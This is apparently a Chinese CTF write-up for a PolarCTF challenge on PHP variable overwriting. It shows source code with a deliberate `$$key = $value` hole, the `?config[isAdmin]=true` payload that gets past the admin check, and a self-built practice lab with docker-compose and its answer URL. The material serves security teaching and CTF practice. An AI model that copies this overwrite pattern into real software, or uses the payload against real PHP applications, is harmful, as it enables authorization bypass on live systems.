【PolarCTF2026年春季挑战赛】The_Gift

考察遍历覆盖

复制代码
<?php
include 'config.php';              // 引入配置文件(包含 FLAG)
highlight_file(__FILE__);          // 显示当前文件源码
error_reporting(0);                // 关闭错误报告(隐藏错误信息)

class ConfigModel {
    public $apiKey = '';           // API 密钥
    public $isAdmin = false;       // 管理员标志(关键!)
    public $requestTime = 0;       // 请求时间
    
    public function __construct() {
        $this->requestTime = time();
        // 生成随机 apiKey,无法预测
        $this->apiKey = md5($_SERVER['REMOTE_ADDR'] . rand(1, 99999) . "S4ltY_String");
    }
    
    public function validateApiKey($inputKey) {
        if ($inputKey === $this->apiKey) {  // 严格比较
            $this->isAdmin = true;          // 验证成功则设为管理员
            return true;
        }
        return false;
    }
}

$config = new ConfigModel();  // 创建配置对象

$requestData = array_merge($_GET, $_POST);  // 合并 GET 和 POST 参数
foreach ($requestData as $key => $value) {
    $$key = $value;  // 🔴 变量覆盖漏洞!
}

if (isset($user_api_key)) {
    $config->validateApiKey($user_api_key);
}

if (is_array($config) && isset($config['isAdmin']) && $config['isAdmin'] === 'true') {
    die("Success " . $FLAG);
} else {
    echo "<br>Access Denied.";
}
?>

这道题的关键点是满足下面3个条件:

复制代码
is_array($config)           // 条件1: $config 必须是数组
isset($config['isAdmin'])   // 条件2: $config['isAdmin'] 必须存在
$config['isAdmin'] === 'true' // 条件3: 值必须是字符串 'true'

那么我们通过变量覆盖实现攻击,我们通过GET方式来传递如下payload

复制代码
?config[isAdmin]=true

此时PHP会解析成

复制代码
$_GET = ['config[isAdmin]' => 'true']

然后进入漏洞循环

复制代码
foreach ($requestData as $key => $value) {
    // 第一次循环会读出如下内容:
    $key = 'config[isAdmin]'
    $value = 'true'
    
    // 然后就会执行执行 $$key = $value
    // 即 $config['isAdmin'] = 'true'
}

最终通过所有验证

复制代码
is_array($config)           → ✅ true
isset($config['isAdmin'])   → ✅ true  
$config['isAdmin'] === 'true' → ✅ true(字符串比较)

下面是攻击流程图

复制代码
┌─────────────────────────────────────────────────────────┐
│                    攻击者发送请求                        │
│         GET /index.php?config[isAdmin]=true             │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│              PHP 解析 GET 参数                           │
│         $_GET = ['config[isAdmin]' => 'true']           │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│              进入漏洞循环 foreach                        │
│         $key = 'config[isAdmin]'                        │
│         $value = 'true'                                 │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│              执行变量覆盖 $$key = $value                │
│         $config['isAdmin'] = 'true'                     │
│         ($config 从对象变成数组)                       │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│              通过所有判断条件                            │
│         is_array($config) → true                        │
│         isset($config['isAdmin']) → true                │
│         $config['isAdmin'] === 'true' → true            │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│                  输出 Flag 🎉                            │
│         Success flag{variable_overwrite_learned}        │
└─────────────────────────────────────────────────────────┘

最终效果如下:

下面是自己弄的练习题

文件1:题目主文件

复制代码
<?php
// CTF Challenge - Variable Overwrite Vulnerability
// 变量覆盖漏洞练习

error_reporting(0);

class ConfigModel {
    public $apiKey = '';
    public $isAdmin = false;
    public $requestTime = 0;
    
    public function __construct() {
        $this->requestTime = time();
        $this->apiKey = md5($_SERVER['REMOTE_ADDR'] . rand(1, 99999) . "S4ltY_String");
    }
    
    public function validateApiKey($inputKey) {
        if ($inputKey === $this->apiKey) {
            $this->isAdmin = true;
            return true;
        }
        return false;
    }
}

$config = new ConfigModel();

// 漏洞点:变量覆盖
$requestData = array_merge($_GET, $_POST);
foreach ($requestData as $key => $value) {
    $$key = $value;  // 危险!用户可控的变量覆盖
}

if (isset($user_api_key)) {
    $config->validateApiKey($user_api_key);
}

// 获取flag的条件
if (is_array($config) && isset($config['isAdmin']) && $config['isAdmin'] === 'true') {
    die("🎉 Success! Flag: " . getenv("FLAG"));
} else {
    echo "<br>❌ Access Denied.";
    echo "<br><br>💡 Hint: Try to overwrite the \$config variable";
}

// 显示源码供学习
if (isset($_GET['source'])) {
    highlight_file(__FILE__);
}
?>

<html>
<head><title>CTF Challenge - Variable Overwrite</title></head>
<body>
    <h2>📚 学习目标</h2>
    <ul>
        <li>理解PHP变量覆盖漏洞(Variable Overwrite)</li>
        <li>掌握 $$ 可变变量的利用方法</li>
        <li>学会通过变量覆盖改变程序逻辑</li>
    </ul>
    
    <h2>🎯 挑战目标</h2>
    <p>让 <code>$config['isAdmin'] === 'true'</code></p>
    
    <h2>🔍 提示</h2>
    <ul>
        <li>注意第24-26行的foreach循环</li>
        <li>$$key = $value 会导致变量覆盖</li>
        <li>尝试覆盖 $config 变量</li>
    </ul>
    
    <br>
    <a href="?source=1">查看源码</a>
</body>
</html>

文件2:docker-compose.yml配置文件

复制代码
version: '3.8'

services:
  ctf-challenge:
    image: php:7.4-apache  # 直接使用镜像,不需要 build
    ports:
      - "8080:80"
    environment:
      - FLAG=flag{variable_overwrite_learned}
    volumes:
      - ./src:/var/www/html  # 挂载本地代码

题目答案

复制代码
http://localhost:8080/?config[isAdmin]=true
相关推荐
数安旭说5 小时前
从“堆叠工具”到“一体化治理”:端点安全的技术演进与实践观察
网络安全·系统架构·数据安全·企业安全·端点安全·防泄密·一体化管理
白猫不黑6 小时前
Python实现简易Web弱口令爆破与防护方案
python·web安全·计算机·网络安全·黑客·信息安全·渗透测试
菩提小狗9 小时前
每日安全情报报告 · 2026-09-17
网络安全·漏洞·cve·安全情报·每日安全
2601_9663771312 小时前
176号令10月1日施行|网安检查换新规矩,数达数安版等保一体机方案助企业从容应对
网络安全·数据安全·数安版等保一体机
qingtian!14 小时前
VM中安装WinServer2016详细教程
网络安全
罗斯83915 小时前
EMBER恶意软件基准数据集
人工智能·算法·安全·网络安全
恣睢s15 小时前
MISC杂项——Base加密加密
网络安全
黄金龙PLUS15 小时前
5个800比特大状态置换算法的设计与分析
算法·网络安全·密码学·哈希算法·同态加密
sbjdhjd16 小时前
从日志包含到临时文件竞争:文件包含进阶复盘中的 Docker、Windows 与 Session 限制
网络·安全·web安全·网络安全·数据挖掘·php·rce
白猫不黑17 小时前
网络安全面试题大全:22道高频题附解析与答案
web安全·计算机·网络安全·信息安全·渗透测试·编程·面试题